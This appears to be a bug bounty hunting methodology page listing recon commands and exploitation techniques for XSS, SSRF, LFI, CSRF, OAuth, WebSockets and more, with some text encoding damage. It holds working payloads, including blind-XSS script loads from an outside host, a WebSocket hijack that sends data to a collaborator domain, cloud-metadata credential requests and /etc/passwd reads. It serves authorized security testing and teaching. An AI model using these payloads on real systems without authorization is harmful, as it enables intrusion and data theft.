๐ก The Master Bug Bounty Hunting Framework v20
One unified, battle-tested methodology covering the full bug bounty lifecycle โ reconnaissance and attack surface mapping, exploitation of every major vulnerability class, and professional reporting. 80 phases ship with copyable commands, live checklists, editable notes and space to add your own โ all saved locally in your browser. v11: per-target mode, finding tracker, report generator, hunting plan, filters & a 3D premium design. v12: animated backgrounds, glassmorphism, header styles, more fonts, background image upload & a quick-tools sidepanel. v13: a hand-drawn โHandwritten Notesโ notebook theme for study-journal vibes. v16: the left phase panel now has three sizes โ full, a mini number-rail that frees up space, and fully hidden (cycle with H or the โค header button). v17: bugfix โ the auto-saved page snapshot no longer locks in search/collapse/hidden states, so all 80 phases always load, and corrupted snapshots are discarded automatically. v20: Dark Handwritten Notes theme added. v19: seven new deep-dive phases โ Business Logic (e-commerce critical), API Deep-Dive, File Upload (supplier panel), Mobile App Testing, Race Conditions, Cache Testing & SSO/OAuth โ added as phases 74โ80, plus a fix that removes duplicated Flow pills.
๐ฏ Pre-Hunt Preparation
Chaos kills productivity. Before a single request is sent: read the program rules completely, twice, scope your assets, and lock down your toolchain. Set up the BugBounty_Workspace folder structure: Active_Targets / Completed_Targets / Templates / Tools_and_Scripts / Learning_Notes / Reports_Ready. Keep a master target list, daily hunting logs and a note-taking system.
Target: [TARGET_NAME]
Date: [DATE]
Subdomains Found:
- subdomain1.target.com [STATUS_CODE]
- subdomain2.target.com [STATUS_CODE]
Interesting Findings:
-
Port Scan Results:
- Port 80: HTTP [Server Info]
- Port 443: HTTPS [SSL Details]
- Port 8080: HTTP [Additional Service]
Service Versions:
-
Security Observations:
-
Technology Stack Template:
Web Server: [Apache/Nginx/IIS]
Framework: [React/Angular/Vue/PHP/etc.]
CMS: [WordPress/Drupal/Custom]
Database: [MySQL/PostgreSQL/MongoDB]
CDN: [Cloudflare/AWS/etc.]
Security: [WAF detected/Headers present]
Interesting Technologies: -Content Discovery:
Directories Found:
- /admin [STATUS] - [DESCRIPTION]
- /api [STATUS] - [DESCRIPTION]
- /backup [STATUS] - [DESCRIPTION]
Files of Interest:
- /robots.txt - [FINDINGS]
- /sitemap.xml - [ENDPOINTS]
- /.env - [ACCESSIBLE Y/N]
API Endpoints:
- /api/v1/users
- /api/v1/auth
Parameters:
GET:
- id: [INTEGER] - User/object identifier
- search: [STRING] - Search functionality
- redirect: [URL] - Redirect parameter
POST:
- username: [STRING]
- password: [STRING]
- csrf_token: [TOKEN]
Interesting:
- debug: [BOOLEAN] - Debug mode toggle
- admin: [BOOLEAN] - Admin access flag๐ Daily Workflow & Failure Analysis
Structure the hunt like a job, not a lottery. Time-block each phase with the pomodoro technique for focus, avoid rabbit holes, and review what worked vs what didn't every week. Use the Target Priority Matrix: high = recently launched features, auth mechanisms, file uploads, API endpoints, admin panels; medium = user input areas, config files, error pages, 3rd-party integrations; low = marketing pages, static docs, already well-tested components.
Date: [DATE]
Target: [TARGET]
What Failed: [SPECIFIC_FAILURE]
Why It Failed: [ROOT_CAUSE]
Lesson Learned: [KEY_INSIGHT]
Prevention: [HOW_TO_AVOID]๐ญ Passive Recon & OSINT
Recon is the foundation. Never touch the target yet โ harvest everything publicly available first. Method: โ gather acquisitions (crunchbase.com) โ โก identify ASNs โ โข find seed/root domains (reverse WHOIS via DOMLink, ad/analytics relationships via builtwith.com, Google dorks, Shodan) โ โฃ subdomain discovery (framework begins here) โ โค port analysis โ โฅ GitHub dorking โ โฆ httprobe โ โง takeover checks. If amass returns new ASN numbers, go back to step โก and re-run from there.
๐ Subdomain Enumeration
Gather as many subdomains as possible โ even ones that aren't active (they come back). Run every source, then merge. Important: configure and provide all necessary API keys for each data source so the tools access their full range of data. Find all subdomains, then always scan all ports.
subfinder -d example.com -all -recursive -o subfinder.txtassetfinder --subs-only example.com > assetfinder.txtfindomain -t target.com | tee findomain.txtamass enum -passive -d example.com | cut -d']' -f 2 | awk '{print $1}' | sort -u > amass.txt
amass enum -active -d example.com | cut -d']' -f 2 | awk '{print $1}' | sort -u > amass.txtamass enum -brute -d [DOMAIN] -rf resolvers.txt๐ Public Sources & GitHub Scraping
Directly fetch subdomains from public sources with curl โ great for manual recon and often reveals hosts missed by automated tools. Scraping sources: infrastructure (Censys, DNSDumpster, Wayback), certificates (crt.sh, CertDB, CertSpotter), search (Google, Yahoo, Baidu), security (VirusTotal, Rapid7 Project Sonar, SecurityTrails).
curl -s https://crt.sh\?q\=\domain.com\&output\=json | jq -r '.[].name_value' | grep -Po '(\w+\.\w+\.\w+)$' > crtsh.txtcurl -s "http://web.archive.org/cdx/search/cdx?url=*.hackerone.com/*&output=text&fl=original&collapse=urlkey" | sort | sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | sort -u > wayback.txtcurl -s "https://www.virustotal.com/vtapi/v2/domain/report?apikey=[api-key]&domain=www.nasa.gov" | jq -r '.domain_siblings[]' > virustotal.txtgithub-subdomains -d domain.com -t [github_token/github_api_key]# run 5 times: 4 with 6s sleep, 1 with 10s sleep
github-search --domain target.com && sleep 6
shosubgo -d target.com # Shodan parser๐งฌ Merge, Permute, Resolve & Brute-force
Combine everything, kill duplicates, then invent subdomains that don't exist yet (alterx permutations) and only keep the ones that actually resolve (dnsx). ShuffleDNS wraps massdns for fast brute force; tailored wordlists (TomNomNom, cewl) beat massive ones. Remember subdomain alterations: www.target.com โ ww2.target.com.
cat *.txt | sort -u > final.txtsubfinder -d domain.com | alterx | dnsx
echo domain.com | alterx -enrich | dnsx
echo domain.com | alterx -pp word=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | dnsxffuf -u "https://FUZZ.target.com" -w wordlist.txt -mc 200,301,302shuffledns -d target.com -w subdomains.txt -r resolvers.txt -o resolved.txt๐ธ ASN Mapping, IPs & Related Infrastructure
Expand the attack surface by mapping the org's digital footprint: related domains, IP ranges and subdomains the company actually owns. If amass returns new ASNs, loop back to ASN enumeration and start over. Manual: bgp.he.net โ ASN โ amass intel.
asnmap -d domain.com | dnsx -silent -resp-onlyamass intel -org "nasa"
amass intel -active -cidr 159.69.129.82/32
amass intel -active -asn [asn_no]curl -s "https://www.virustotal.com/vtapi/v2/domain/report?domain=<DOMAIN>&apikey=[api-key]" | jq -r '.. | .ip_address? // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'
curl -s "https://otx.alienvault.com/api/v1/indicators/hostname/<DOMAIN>/url_list?limit=500&page=1" | jq -r '.url_list[]?.result?.urlworker?.ip // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'
curl -s "https://urlscan.io/api/v1/search/?q=domain:<DOMAIN>&size=10000" | jq -r '.results[]?.page?.ip // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'cat domains.txt | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > amass.txt
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" input.txt | sort -u
shodan search Ssl.cert.subject.CN:"<DOMAIN>" 200 --fields ip_str | httpx-toolkit -sc -title -server -tdโก Live Hosts & Visual Recon
Filter down to live, accessible hosts with httpx โ note that httpx targets only default ports by default, so always specify the extra frequently-used ports. 200 threads massively speed up large lists. Then take screenshots with Aquatone to spot login pages, admin panels and staging environments at a glance.
cat subdomain.txt | httpx-toolkit -ports 80,443,8080,8000,8888 -threads 200 > subdomains_alive.txtcat hosts.txt | aquatone
cat hosts.txt | aquatone -ports 80,443,8000,8080,8443
cat hosts.txt | aquatone -ports 80,81,443,591,2082,2087,2095,2096,3000,8000,8001,8008,8080,8083,8443,8834,8888๐ URL & Endpoint Discovery
With live subdomains in hand, collect URLs and endpoints from active (katana, hakrawler) and passive (gau, urlfinder) sources, then dedupe. Focus on URLs with extensions that take parameters (.php .asp .aspx .jsp with =) โ those are your testing targets.
katana -u livesubdomains.txt -d 2 -o urls.txt
cat urls.txt | hakrawler -u > urls3.txtcat livesubdomains.txt | gau | sort -u > urls2.txt
urlfinder -d tesla.com | sort -u > urls3.txt
echo example.com | gau --mc 200 | urldedupe > urls.txtcat urls.txt | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep '=' | sort > output.txt
cat output.txt | sed 's/=.*/=/' > final.txtcat allurls.txt | gf sqli
cat allurls.txt | gf xss
cat allurls.txt | gf lfi
cat allurls.txt | gf redirectNuclei is a template-based scanner for known misconfigurations, CVEs and exposures. Use -bs (batch size = how many templates run at once) and -c (concurrency = how many domains scanned simultaneously) to massively speed up large-scope work.
nuclei -u https://target.com -bs 50 -c 30
nuclei -l live_domains.txt -bs 50 -c 30๐ Hidden Params & Sensitive Files
Undocumented GET/POST parameters can unlock injections, IDORs or business-logic bypasses โ discover them with arjun (or lostfuzzer). Backups/config/log files are a goldmine for information disclosure.
arjun -u https://site.com/endpoint.php -oT arjun_output.txt -t 10 --rate-limit 10 --passive -m GET,POST --headers "User-Agent: Mozilla/5.0"arjun -u https://site.com/endpoint.php -oT arjun_output.txt -m GET,POST -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 10 --rate-limit 10 --headers "User-Agent: Mozilla/5.0"cat allurls.txt | grep -E "\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5"
cat allurls.txt | grep -E "\.(xls|xml|xlsx|json|pdf|sql|doc|docx|pptx|txt|zip|tar\.gz|tgz|bak|7z|rar|log|cache|secret|db|backup|yml|gz|config|csv|yaml|md|md5|tar|xz|7zip|p12|pem|key|crt|csr|sh|pl|py|java|class|jar|war|ear|sqlitedb|sqlite3|dbf|db3|accdb|mdb|sqlcipher|gitignore|env|ini|conf|properties|plist|cfg)$"site:*.example.com (ext:doc OR ext:docx OR ext:odt OR ext:pdf OR ext:rtf OR ext:ppt OR ext:pptx OR ext:csv OR ext:xls OR ext:xlsx OR ext:txt OR ext:xml OR ext:json OR ext:zip OR ext:rar OR ext:md OR ext:log OR ext:bak OR ext:conf OR ext:sql)๐ช Directory & Content Brute-forcing
Reveal hidden directories, admin panels, backups and dev files that aren't linked anywhere. Recursion + extension probing catches the stuff that directory listings miss. The -ac auto-calibration flag keeps false positives down.
dirsearch -u https://example.com --full-url --deep-recursive -rdirsearch -u https://example.com -e php,cgi,htm,html,shtm,shtml,js,txt,bak,zip,old,conf,log,pl,asp,aspx,jsp,sql,db,sqlite,mdb,tar,gz,7z,rar,json,xml,yml,yaml,ini,java,py,rb,php3,php4,php5 --random-agent --recursive -R 3 -t 20 --exclude-status=404 --follow-redirects --delay=0.1ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://example.com/FUZZ \
-fc 400,401,402,403,404,429,500,501,502,503 -recursion -recursion-depth 2 \
-e .html,.php,.txt,.pdf,.js,.css,.zip,.bak,.old,.log,.json,.xml,.config,.env,.asp,.aspx,.jsp,.gz,.tar,.sql,.db \
-ac -c -t 100 -r -o results.json \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" \
-H "X-Forwarded-For: 127.0.0.1" -H "X-Originating-IP: 127.0.0.1" -H "X-Forwarded-Host: localhost"ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://ens.domains/FUZZ \
-fc 401,403,404 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf \
-ac -H "User-Agent: Mozilla/5.0" -r -t 60 --rate 100 -c๐ JS Analysis & Content-Type Filtering
JS files leak hidden API endpoints, parameter names, hardcoded credentials, tokens, keys, dev comments and debug info โ an attack surface invisible in the frontend. Filter by MIME type to focus on JS/HTML pages worth analyzing.
echo example.com | katana -d 3 | grep -E "\.js$" | nuclei -t /home/coffinxp/nuclei-templates/http/exposures/ -c 30
echo domain.com | katana -ps -d 2 | grep -E "\.js$" | nuclei -t /nuclei-templates/http/exposures/ -c 30
cat alljs.txt | nuclei -t /home/coffinxp/nuclei-templates/http/exposures/cat jsfiles.txt | grep -r -E "aws_access_key|aws_secret_key|api key|passwd|pwd|heroku|slack|firebase|swagger|aws key|password|ftp password|jdbc|db|sql|config|admin|json|gcp|htaccess|.env|ssh key|.git|access key|secret token|oauth_token|oauth_token_secret"cat allurls.txt | grep -E "\.js$" | httpx-toolkit -mc 200 -content-type \
| grep -E "application/javascript|text/javascript" | cut -d' ' -f1 \
| xargs -I% curl -s % | grep -E "(API_KEY|api_key|apikey|secret|token|password)"echo domain | gau | grep -Eo '(\/[^\/]+)\.(php|asp|aspx|jsp|jsf|cfm|pl|perl|cgi|htm|html)$' \
| httpx -status-code -mc 200 -content-type | grep -E 'text/html|application/xhtml+xml'echo domain | gau | grep '\.js$' | httpx -status-code -mc 200 -content-type | grep 'application/javascript'๐ฆ WordPress & CMS Testing
If the target runs WordPress, enumerate users, plugins, themes and version details to surface outdated components and vulnerable plugins.
wpscan --url https://site.com --disable-tls-checks --api-token <here> \
-e at -e ap -e u --enumerate ap --plugins-detection aggressive --force๐ Authentication & Session Management
Logins are the front door. Map how sessions are established, whether OAuth/SSO is used, and hunt every bypass. The reference charts value login auth bypass at $850, 2FA/MFA bypass $500, SSO bypass $750, default admin creds $700.
๐ก Authorization, IDOR & Access Control
Broken object-level authorization (IDOR) is the modern jackpot. Ask per page: what part of CRUD is this? which HTTP verbs work? what parameters? Reference values: non-admin R/W $450, R only $300; admin R/W $800, R only $600; IDOR R/W $600, R only $500.
๐ SQL & NoSQL Injection
Still one of the most dangerous, most impactful vulns. Reference: full SQLi $3000 (must show database info), partial $1500. Run sqlmap and Burp on every single parameter. Prioritize targets using technologies commonly vulnerable to injection (asp/php/jsp).
subfinder -dL subdomains.txt -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'
subfinder -d http://example.com -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'echo http://site.com | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep -E '\?[^=]+=.+$'โจ๏ธ Command Injection & SSTI
SSTI detection: reflected input โ no XSS output โ try to break out with templating syntax (?greeting=data.username}}<tag>), or check if a math expression is evaluated in the response (?greeting=${7*7} โ response contains 49). Identify the engine with the PortSwigger template decision tree, then exploit.
- Identify the vuln: reflected input with no XSS (no output / encoded tags / error message) โ break out with templating syntax. No change = wrong syntax or not vulnerable.
- Detect engine:
?greeting=${7*7}โ response shows49; usehttps://portswigger.net/web-security/images/template-decision-tree.png. - Exploit with engine-specific RCE payloads.
๐ท Cross-Site Scripting (XSS)
Three types: Reflected (script from current request), Stored (from the DB), DOM (flaw in client-side code โ take user-controlled source to a sink). Reference: reflected XSS $330 (+ web cache poisoning = $$$), DOM XSS $775, blind XSS $880. When JS eval() evaluates a JSON object: \"-alert(1)}//. Angular: look for ng-app โ {{$on.constructor('alert(1)')()}}.
echo "target.com" | gau | gf xss | uro | httpx -silent | Gxss -p Rxss | dalfoxecho "example.com" | gau | qsreplace '<sCript>confirm(1)</sCript>' | xsschecker -match '<sCript>confirm(1)</sCript>' -vulnecho https://example.com/ | gau | gf xss | uro | Gxss | kxss | tee xss_output.txt
cat xss_output.txt | grep -oP '^URL: \K\S+' | sed 's/=.*/=/' | sort -u > final.txtffuf -request xss -request-proto https -w /root/wordlists/xss-payloads.txt -c -mr "<script>alert('XSS')</script>"cat urls.txt | grep -E "(login|signup|register|forgot|password|reset)" | httpx -silent | nuclei -t nuclei-templates/vulnerabilities/xss/ -severity critical,high
subfinder -d example.com | gau | bxss -payload '">"<script src=https://xss.report/c/coffinxp></script>' -header "X-Forwarded-For"
subfinder -d example.com | gau | grep "&" | bxss -appendMode -payload '">"<script src=https://xss.report/c/coffinxp></script>' -parameters
cat xss_params.txt | dalfox pipe --blind https://your-collaborator-url --waf-bypass --silence- HTML sinks (easy): send an MD5 sum through the source โ search HTML in DevTools (Ctrl+F) for it โ refine payload.
- JS execution sinks (hard): search JS for referenced sources (Ctrl+Shift+F) โ set breakpoints and follow the source's value โ if passed to a variable, trace it โ if it reaches a sink, refine payload.
# Input value renders inside: <input ... value="[PAYLOAD]"/>
# Set payload as a GET param so its value is [PAYLOAD]:
> "><img src='//attacker-website.com?
# Result: <input ... value=""><img src='//attacker-website.com?[SENSITIVE DATA]"/>๐ XXE (XML External Entity)
XXE via file read of SYSTEM entities, OOB exfiltration, and XML-based uploads. Reference: XXE full $1500, limited $500.
๐ SSRF โ Testing & Exploitation
Make the server request internal/external resources โ cloud metadata, internal port scans, even RCE when chained. Reference: SSRF full $1500 (must allow full interaction with an internal app), limited $500 (interaction with internal IP/port).
cat urls.txt | grep -E 'url=|uri=|redirect=|next=|data=|path=|dest=|proxy=|file=|img=|out=|continue=' | sort -u
cat urls.txt | grep -i 'webhook\|callback\|upload\|fetch\|import\|api' | sort -u
cat urls.txt | nuclei -t nuclei-templates/vulnerabilities/ssrf/curl "https://target.com/page?url=http://127.0.0.1:80/"
curl "https://target.com/page?url=http://localhost:8080"
curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/"
curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/iam/security-credentials/"http://127.0.0.1%23.google.com
http://127.1
http://[::1]/
http://0x7f000001
http://017700000001
# DNS rebinding / callback for blind SSRF:
curl "https://target.com/page?url=http://yourdomain.burpcollaborator.net"๐ฑ CSRF & Clickjacking
CSRF requires 3 conditions: โ a relevant action โก cookie-based session handling (no Authorization headers) โข no unpredictable request parameters (CSRF token / must-know password). Signs: tokens don't appear invalidated when sent or on logout; if CSRF exists, ask โ can this endpoint chain to an open redirect? Reference: CSRF high $500, low $400.
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>- Select the targeted request โ Right-click โ Engagement tools โ Generate CSRF PoC.
- Customize the generated PoC as needed โ host it (e.g. AWS S3).
โฉ Open Redirect
Redirect users to malicious sites from trusted domains โ phishing, session hijacking, and a prime chaining candidate (Open Redirect + OAuth = token theft). Ask: can we redirect to different paths / subdomains / domains?
cat final.txt | grep -Pi "returnUrl=|continue=|dest=|destination=|forward=|go=|goto=|login\?to=|login_url=|logout=|next=|next_page=|out=|g=|redir=|redirect=|redirect_to=|redirect_uri=|redirect_url=|return=|returnTo=|return_path=|return_to=|return_url=|rurl=|site=|target=|to=|uri=|url=|qurl=|rit_url=|jump=|jump_url=|originUrl=|origin=|Url=|desturl=|u=|Redirect=|location=|ReturnUrl=|redirect_url=|redirect_to=|forward_to=|forward_url=|destination_url=|jump_to=|go_to=|goto_url=|target_url=|redirect_link=" | tee redirect_params.txt
final.txt | gf redirect | uro | sort -u | tee redirect_params.txtcat redirect_params.txt | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"
subfinder -d vulnweb.com -all | httpx-toolkit -silent | gau | gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"cat redirect_params.txt | while read url; do
cat loxs/payloads/or.txt | while read payload; do
echo "$url" | qsreplace "$payload"
done
done | httpx-toolkit -silent -fr -mr "google.com"๐ข Information Disclosure & Git Exposure
Stack traces, internal IPs, version banners, leaked keys and exposed .git/ all leak attack surface. Reference bounty chart: leaked high-priv creds $700, API keys $500, sensitive client info $300, sensitive dir/file $300, source code $150, software architecture $150, network topology $150.
cat domains.txt | grep "SUCCESS" | gf urls | httpx-toolkit -sc -server -cl -path "/.git/" -mc 200 -location -ms "Index of" -probe๐ File Upload & Path Traversal / LFI
Upload โ execution is RCE-lite. LFI โ RCE via log poisoning. Reference: unrestricted file upload $180, file inclusion/path traversal $850.
nuclei -l subs.txt -t /root/nuclei-templates/http/vulnerabilities/generic/generic-linux-lfi.yaml -c 30
echo "https://example.com/" | gau | gf lfi | uro | sed 's/=.*/=/' | qsreplace "FUZZ" | sort -u \
| xargs -I{} ffuf -u {} -w payloads/lfi.txt -c -mr "root:(x|\*|\$[^\:]*):0:0:" -v
gau target.com | gf lfi | qsreplace "/etc/passwd" \
| xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'echo 'https://example.com/index.php?page=' | httpx-toolkit -paths payloads/lfi.txt -threads 50 -random-agent -mc 200 -mr "root:(x|\*|\$[^\:]*):0:0:"
ffuf -request lfi -request-proto https -w /root/wordlists/offensive\ payloads/LFI\ payload.txt -c -mr "root:"๐ง Business Logic Flaws
Think like the application โ "where would I screw up?" Money and privilege flaws are business-critical (often re-bug bounty gold). Race conditions need Turbo Intruder.
๐ API & GraphQL Security
APIs multiply your attack surface. Test BOLA/BFLA, old versions, method confusion, and GraphQL specifically (introspection, batching, field suggestions).
๐ CORS & Security Headers
Misconfigured CORS lets unauthorized origins read sensitive data / act across origins โ account takeover or data theft. Then verify with a CORS exploit PoC (CorsExploit.html). CORS misconfig + XSS = account takeover (chaining).
curl -H "Origin: http://example.com" -I https://domain.com/wp-json/
curl -H "Origin: http://example.com" -I https://domain.com/wp-json/ \
| grep -i -e "access-control-allow-origin" -e "access-control-allow-methods" -e "access-control-allow-credentials"cat example.coms.txt | httpx -silent | nuclei -t nuclei-templates/vulnerabilities/cors/ -o cors_results.txt
python3 corsy.py -i subdomains_alive.txt -t 10 --headers "User-Agent: GoogleBot\nCookie: SESSION=Hacked"
python3 CORScanner.py -u https://example.com -d -t 10๐ Network-Level Attacks & Port Scanning
Find services the web UI never shows. Recommended flow: masscan (quick, needs IP list) โ dnmasscan (resolves domains โ passes IPs) โ nmap deep dive on open ports โ brutespray for default creds.
naabu -list ip.txt -c 50 -nmap-cli 'nmap -sV -SC' -o naabu-full.txtnmap -p- --min-rate 1000 -T4 -A target.com -oA fullscanmasscan -p0-65535 target.com --rate 100000 -oG masscan-results.txtโ๏ธ Cloud & Infrastructure
Misconfigured cloud storage is a classic P1. Reference: AWS misconfigs $450 (S3 bucket plundering).
- Find an open S3 bucket (dorks:
site:s3.amazonaws.com "company"). - Search for
sql,sql.gz,backup.zip,backup.gz,backup.tar,backup.tar.gz+ any valuable files. - Automate with S3Scanner:
git clone git@github.com:sa7mon/S3Scanner.gitโcd S3Scannerโpip3 install -r requirements.txtโpython3 -m S3Scanner.
๐ฑ Mobile App Security
Apps re-serve the same backend with extra exposure: hardcoded secrets, exported components, insecure WebViews and weak pinning.
โ Advanced Chaining & Escalation
Chains turn medium bugs into criticals. The Signs framework: Open Redirect? (โ paths / subdomains / domains) ยท Reflected user-controlled data? (โ HTMLi / XSS / SSTI) ยท CSRF? (tokens not invalidated? โ what can we do with this endpoint? is it an open redirect?) ยท Change HTTP verb? (works the same? are params rejected?).
1. Open Redirect?
~ Can you redirect to different paths?
~ Can you redirect to different subdomains?
~ Can you redirect to different domains?
2. Reflected user controlled data?
~ HTMLi? ~ XSS? ~ SSTI?
3. CSRF?
(tokens not invalidated when sent or on logout)
~ What can we do with this endpoint?
~ Is this endpoint an open redirect?
4. Change HTTP Verb?
~ Does the endpoint work the same when the verb changes?
~ Are any parameters rejected?๐งฉ HTTP Request Smuggling
Desync between front-end and back-end parsing (CL.TE / TE.CL / TE.TE) can poison caches, bypass access controls, and hijack requests. Detection flow (Burp):
- Right-click the FQDN โ Smuggle Probe (Burp HTTP Request Smuggler extension).
- If found, open the Issue โ Request 1 tab โ select
CL.TEorTE.CL. (Multiple directories? Expand and click the correct path.) - Edit the prefix to meet payload requirements.
- Attack.
๐ฆ Prototype Pollution
Pollute Object.prototype via __proto__[foo]=bar โ XSS via gadget chains, or RCE via child_process.spawn on the server.
- Identify the vulnerability with a payload/scanner.
- Find vulnerable gadgets โ Fingerprint.js, Wappalyzer, BuiltWith. Check gadget list at
gist.github.com/nikitastupin/b3b64a9f8c0eb74ce37626860193eaec. - If no gadgets โ check the Untrusted-Types plugin in DevTools console.
๐งช Insecure Deserialization
Serialized blobs from untrusted input โ object injection โ RCE. Detect language first, then attack the byte stream.
- Identify language + how it serializes: PHP
O:4:"User":2:{...}ยท Java starts withac ed(hex) /rO0(base64) ยท Ruby (Marshal). - Find serialized data controlled by user input (cookies, hidden fields, API bodies).
- Attack: โ edit object directly in its byte-stream form โก script your own serializer in the app's language โข use a tool โ PHP โ PHPGCC (
./phpgcc [PAYLOAD] [PARAMS] | base64 -w 0), Java โ ysoserial (URL-encode whole payload through cookie), Ruby โ tbd.
- Parse source for keywords: PHP
serialize()/unserialize()ยท Javajava.io.Serializable/readObject()/InputStream.
๐ญ OAuth & OpenID Connect
OAuth flow: Authorization Request โ User Consent โ Authorization Code Grant โ Access Token Request โ Token Grant โ API call โ Resource grant. Hunting steps:
- Search traffic for
client_id,redirect_uri,response_type,state. - Hit known OAuth endpoints:
/.well-known/oauth-authorization-server,/.well-known/openid-configuration. - Identify grant type: Authorization Code (
response_type=code) vs Implicit (response_type=token, common in SPAs). - Abuse misconfigs: no
stateโ CSRF (worst when linking accounts); steal code/token viaredirect_uri; upgrade scope (register malicious app โ victim approves limited scope โ POST /token with expanded scope); sign up with victim's email โ account takeover.
# 1. Authorization Request (params: client_id / redirect_uri / response_type / scope / state)
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
# 2. User Consent
# 3. Authorization Code Grant (params: code / state) โ vulnerable to CSRF
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
# 4. Access Token Request (params: client_secret / grant_type / client_id / redirect_uri / code)
POST /token HTTP/1.1
Host: oauth-authorization-server.com
Content-Type: application/x-www-form-urlencoded
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
# 5. Access token grant โ Bearer token
# 6. API call โ Authorization: Bearer [TOKEN]
# 7. Resource grant โ sensitive data1. Redirect to any domain
2. Redirect to any subdomain
3. Redirect to specific domains
4. One domain, all paths
5. One domain, specific paths
6. One domain, one path
7. Whitelisted domains/paths based on Regex
8. Can add parameters / specific params / none
# Step 1: send malicious url with poisoned redirect_uri
# Step 2: read code/token in response
# Step 3: substitute stolen code/token when logging in
# Note: if redirect_uri is echoed with the code/token, server likely NOT vulnerable<script>
if (document.location.hash){
console.log("Hash identified -- redirecting...");
window.location = '/?'+document.location.hash.substr(1);
} else {
console.log("No hash identified in URL");
}
</script># id_token = JWT. Keys on /.well-known/jwks.json
# Config on /.well-known/openid-configuration
# response_type=id_token token | id_token code
# 1. Check for dynamic registration (auth required? Bearer token?)
# 2. Craft malicious registration payload for SSRF๐ WebSockets, CSWSH & Host Header Attacks
WebSockets: messages are intercepted in Burp like HTTP. Manipulate the handshake to expand attack surface (clone/reconnect via the pencil icon), then hunt design flaws: misplaced trust in HTTP security headers, session handling flaws, expanded surface with custom headers. CSWSH: handshake has no CSRF/unpredictable token + session via cookie โ hijack socket. Remember: Sec-WebSocket-Key does NOT authenticate.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) { websocket.send("READY"); }
function handleReply(event) {
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>- Identify the app: supply an arbitrary domain in the Host header โ if it still loads, the server defaults to your target; else look at the "Invalid Host header" response / security controls / non-numeric port
Host: vulnerable-website.com:bad-stuff-here. - Duplicate Host headers, absolute URL in request line, spacing to bypass filters (
Host: bad-stuff-here), or combine with request smuggling. - Try alternates: X-Forwarded-Host, X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded (guess more with Burp Param Miner).
- Exploit โ Password Reset Poisoning: submit reset with Host = attacker domain โ victim's reset link sends token to attacker's server โ use stolen token. If you can't manipulate the reset link, try HTMLi in the email to add your own domain.
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here
GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here
GET /example HTTP/1.1
Host: bad-stuff-here
Host: vulnerable-website.com
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here๐ป Subdomain Takeover
Subdomain points to an external service (GitHub Pages, Heroku, S3) that's no longer claimed โ hijack it. Check CNAMEs pointing to defunct hosts; verify candidates with the can-i-take-over-xyz fingerprints.
subzy run --targets subdomains.txt --concurrency 100 --hide_fails --verify_sslโ The Hunter's Questions
Ask these before sending a single payload. Answers tell you what's likely broken.
NOT keyword to remove noise; hunt users working at the org but not mapped to the main repo (LinkedIn confirm) โ most important for manual work. Find unlisted org users with searches like "[ORG]" dotfiles and "[ORG]" language:python language:bash.๐บ Vulnerability Testing Matrix
Which tool for which bug โ the master cheat-sheet.
| Vulnerability | Method / Tool |
|---|---|
| Account Takeover | Burp (manual) |
| Code Injection | Burp (scans / manual) |
| HTML Injection | Custom Script / Burp (scans / manual) |
| IDOR | Burp (manual) |
| Information Disclosure | Custom Script (github_brute-dork) / Manual Search |
| Prototype Pollution | Custom Script (Drifting_Embers) / DevTools (manual) |
| RCE | Nuclei (known CVE) / Burp (manual) |
| SSRF | Burp (manual) |
| XSS | Custom Script / Burp (scans / manual) |
| SSTI | Custom Script / Burp (scans) |
| CSRF | Burp (manual) |
| OAuth | Burp (manual) |
| Deserialization | Burp (manual / scans) + Source Code Analysis |
| HTTP Request Smuggling | Burp (scans) |
| WebSockets | Burp (manual) |
| HTTP Host Header | Burp (manual) |
๐ฐ Methodology & Bounty Charts
